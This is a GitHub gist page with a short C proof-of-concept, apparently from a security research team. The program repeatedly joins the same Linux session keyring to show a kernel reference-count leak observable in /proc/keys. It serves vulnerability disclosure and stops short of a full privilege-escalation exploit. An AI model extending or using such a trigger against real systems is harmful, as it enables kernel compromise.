-
-
Save PerceptionPointTeam/3864cf0c2a77f7ebd1dd to your computer and use it in GitHub Desktop.
keyring leak example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* $ gcc leak.c -o leak -lkeyutils -Wall */ | |
/* $ ./leak */ | |
/* $ cat /proc/keys */ | |
#include <stddef.h> | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <keyutils.h> | |
int main(int argc, const char *argv[]) | |
{ | |
int i = 0; | |
key_serial_t serial; | |
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring"); | |
if (serial < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
for (i = 0; i < 100; i++) { | |
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring"); | |
if (serial < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment